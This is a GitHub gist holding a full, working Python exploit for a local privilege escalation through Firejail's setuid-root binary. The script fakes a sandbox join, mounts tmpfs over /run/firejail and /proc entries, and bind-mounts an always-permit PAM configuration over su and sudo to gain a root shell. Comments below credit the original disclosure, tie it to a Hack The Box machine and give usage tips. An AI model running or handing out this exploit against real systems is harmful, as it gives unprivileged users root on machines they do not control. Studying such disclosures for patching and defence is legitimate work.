Skip to content

Instantly share code, notes, and snippets.

@GugSaas
Created March 24, 2023 00:06
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save GugSaas/9fb3e59b3226e8073b3f8692859f8d25 to your computer and use it in GitHub Desktop.
Save GugSaas/9fb3e59b3226e8073b3f8692859f8d25 to your computer and use it in GitHub Desktop.
Firejail suid bit priv esc - Exploit
#!/usr/bin/python3
import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path
# Print error message and exit with status 1
def printe(*args, **kwargs):
kwargs['file'] = sys.stderr
print(*args, **kwargs)
sys.exit(1)
# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
s = os.stat(f)
if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
return False
with open(f) as fd:
ch = fd.read(2)
if len(ch) != 1 or ch != "1":
return False
return True
def mountTmpFS(loc):
subprocess.check_call("mount -t tmpfs none".split() + [loc])
def bindMount(src, dst):
subprocess.check_call("mount --bind".split() + [src, dst])
def checkSelfExecutable():
s = os.stat(__file__)
if (s.st_mode & stat.S_IXUSR) == 0:
printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run `chmod +x {__file__}` and try again.")
# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
# just run a long sleep command in an unsecured sandbox
proc = subprocess.Popen(
"firejail --noprofile -- sleep 10d".split(),
stderr=subprocess.PIPE)
# read out the child PID from the stderr output of firejail
while True:
line = proc.stderr.readline()
if not line:
raise Exception("helper sandbox creation failed")
# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
line = line.decode('utf8').strip().lower()
if line.find("child pid") == -1:
continue
child_pid = line.split()[-1]
try:
child_pid = int(child_pid)
break
except Exception:
raise Exception("failed to determine child pid from helper sandbox")
# We need to find the child process of the child PID, this is the
# actual sleep process that has an accessible root filesystem in /proc
children = f"/proc/{child_pid}/task/{child_pid}/children"
# If we are too quick then the child does not exist yet, so sleep a bit
for _ in range(10):
with open(children) as cfd:
line = cfd.read().strip()
kids = line.split()
if not kids:
time.sleep(0.5)
continue
elif len(kids) != 1:
raise Exception(f"failed to determine sleep child PID from helper \
sandbox: {kids}")
try:
sleep_pid = int(kids[0])
break
except Exception:
raise Exception("failed to determine sleep child PID from helper \sandbox")
else:
raise Exception(f"sleep child process did not come into existence in {children}")
join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
if not os.path.exists(join_file):
raise Exception(f"join file from helper sandbox unexpectedly not found at \
{join_file}")
return proc, join_file
# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):
if not checkFile(join_file):
printe(f"{join_file}: this file does not match the requirements (owner uid 0, \
size 1 byte, content '1')")
os.environ["FIREJOIN_JOINFILE"] = join_file
os.environ["FIREJOIN_UNSHARED"] = "1"
unshare = shutil.which("unshare")
if not unshare:
printe("could not find 'unshare' program")
cmdline = "unshare -U -r -m".split()
cmdline += [__file__]
# Re-execute this script with unshared user and mount namespaces
subprocess.call(cmdline)
if "FIREJOIN_UNSHARED" not in os.environ:
# First stage of execution, we first need to fork off a helper sandbox and
# an exploit environment
checkSelfExecutable()
helper_proc, join_file = createHelperSandbox()
reexecUnshared(join_file)
helper_proc.kill()
helper_proc.wait()
sys.exit(0)
else:
# We are in the sandbox environment, the suitable join file has been
# forwarded from the first stage via the environment
join_file = os.environ["FIREJOIN_JOINFILE"]
# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"
# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
# This is a special case for Fedora Linux where SELinux rules prevent us
# from mounting a tmpfs over proc directories.
# We can still circumvent this by mounting a tmpfs over all of /proc, but
# we need to bind-mount a copy of our own time namespace first that we can
# symlink to.
with open("/tmp/time", 'w') as _:
pass
time_ns_src = "/tmp/time"
bindMount("/proc/self/ns/time", time_ns_src)
mountTmpFS("/proc")
FJ_MNT_ROOT = Path("/run/firejail/mnt")
# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")
# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
umask_fd.write("022")
# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")
# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
tf.write("auth sufficient pam_permit.so\n")
tf.write("account sufficient pam_unix.so\n")
tf.write("session sufficient pam_unix.so\n")
# Be agnostic about the PAM config file location in /etc or /usr/etc
for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
if not os.path.isdir(pamd):
continue
for service in ("su", "sudo"):
service = Path(pamd) / service
if not service.exists():
continue
# Bind mount over new "helpful" PAM config over the original
bindMount(tf.name, service)
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")
while True:
line = sys.stdin.readline()
if not line:
break
@drwscefn
Copy link

@GugSaas
Copy link
Author

GugSaas commented Jun 20, 2023

https://www.openwall.com/lists/oss-security/2022/06/08/10/1 you ought to credit the creator.

My intention was never to take credit on the author, I just put the exploit on my github to save it, such that the author's comments still remain in the code. But with all the repercussions of the latest hackthebox machine (sandworm), it is necessary to give him the credits, thanks for the warning buddy ;)
https://www.openwall.com/lists/oss-security/2022/06/08/10/1

@hazeyez
Copy link

hazeyez commented Jun 24, 2023

i dont understand how this is supposed to work..

you run it and it says "You can now run 'firejail --join=63761' in another terminal to obtain shell where 'sudo su -' should grant you a root shell. I've tried obtaining a second terminal shell to do this, will not work. after running the firejoin.py exploit and receiving this message, i CTRL+c out of it, to then run what it tells me on the same terminal - no luck...

any tips?

@GugSaas
Copy link
Author

GugSaas commented Jun 26, 2023

i dont understand how this is supposed to work..

you run it and it says "You can now run 'firejail --join=63761' in another terminal to obtain shell where 'sudo su -' should grant you a root shell. I've tried obtaining a second terminal shell to do this, will not work. after running the firejoin.py exploit and receiving this message, i CTRL+c out of it, to then run what it tells me on the same terminal - no luck...

any tips?

The idea of the exploit is exactly this, in a terminal you can start the service and in another terminal you must execute the command: "su" or "sudo su -" or "su -"
Remembering that sometimes (not always) it is necessary to run the command firejail --join=PID

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment